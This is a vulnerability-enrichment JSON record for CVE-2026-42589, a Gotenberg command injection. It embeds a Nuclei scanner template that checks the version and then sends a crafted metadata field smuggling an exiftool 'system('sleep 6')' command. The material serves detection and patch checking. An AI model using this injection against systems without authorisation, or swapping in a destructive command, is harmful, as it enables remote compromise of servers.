{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-42589/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-42589/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-42589/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-42589/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-42589/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-42589/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-42589"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2026-42589"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.03013,
      "kev": false,
      "percentile": 0.87417
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-42589.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2026-42589\n\ninfo:\n  name: Gotenberg - Command Injection\n  author: fineman999\n  severity: critical\n  description: |\n    Gotenberg < 8.31.0 contains a command injection caused by lack of validation on JSON metadata keys in /forms/pdfengines/metadata/write endpoint, letting unauthenticated attackers execute OS commands, exploit requires crafted HTTP request.\n  impact: |\n    Unauthenticated attackers can execute arbitrary OS commands remotely, potentially leading to full system compromise.\n  remediation: |\n    Update to version 8.31.0 or later.\n  reference:\n    - https://github.com/gotenberg/gotenberg/security/advisories/GHSA-rqgh-gxv4-6657\n    - https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-42589\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-42589\n    epss-score: 0.03013\n    epss-percentile: 0.87454\n    cwe-id: CWE-78\n  metadata:\n    verified: true\n    vendor: gotenberg\n    product: gotenberg\n    max-request: 2\n  tags: cve,cve2026,gotenberg,exiftool,rce,unauth,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /version HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'compare_versions(version, \"< 8.31.0\")'\n          - 'contains(to_lower(header), \"gotenberg\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: version\n        part: body\n        group: 1\n        regex:\n          - \"([0-9.]+)\"\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 10s\n        POST /forms/pdfengines/metadata/write HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}\n\n        ------WebKitFormBoundary{{randstr}}\n        Content-Disposition: form-data; name=\"files\"; filename=\"sample.pdf\"\n        Content-Type: application/pdf\n\n        %PDF-1.1\n        1 0 obj\n        << /Type /Catalog /Pages 2 0 R >>\n        endobj\n        2 0 obj\n        << /Type /Pages /Kids [3 0 R] /Count 1 >>\n        endobj\n        3 0 obj\n        << /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] >>\n        endobj\n        xref\n        0 4\n        0000000000 65535 f\n        0000000009 00000 n\n        0000000058 00000 n\n        0000000115 00000 n\n        trailer\n        << /Root 1 0 R /Size 4 >>\n        startxref\n        186\n        %%EOF\n        ------WebKitFormBoundary{{randstr}}\n        Content-Disposition: form-data; name=\"metadata\"\n\n        {\"Title\\n-if\\nsystem('sleep 6')||1\\n-Comment\":\"x\"}\n        ------WebKitFormBoundary{{randstr}}--\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 500\"\n          - \"duration >= 6\"\n        condition: and\n# digest: 490a0046304402203a2a89e28d63a80fbe45cf6258068cb615329524dd3ce252b175d389e748fbc4022029c4c66708878fba1363affe715f22cd2aaeba0a6e85af2dd9592d494872c2a1:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-42589"
}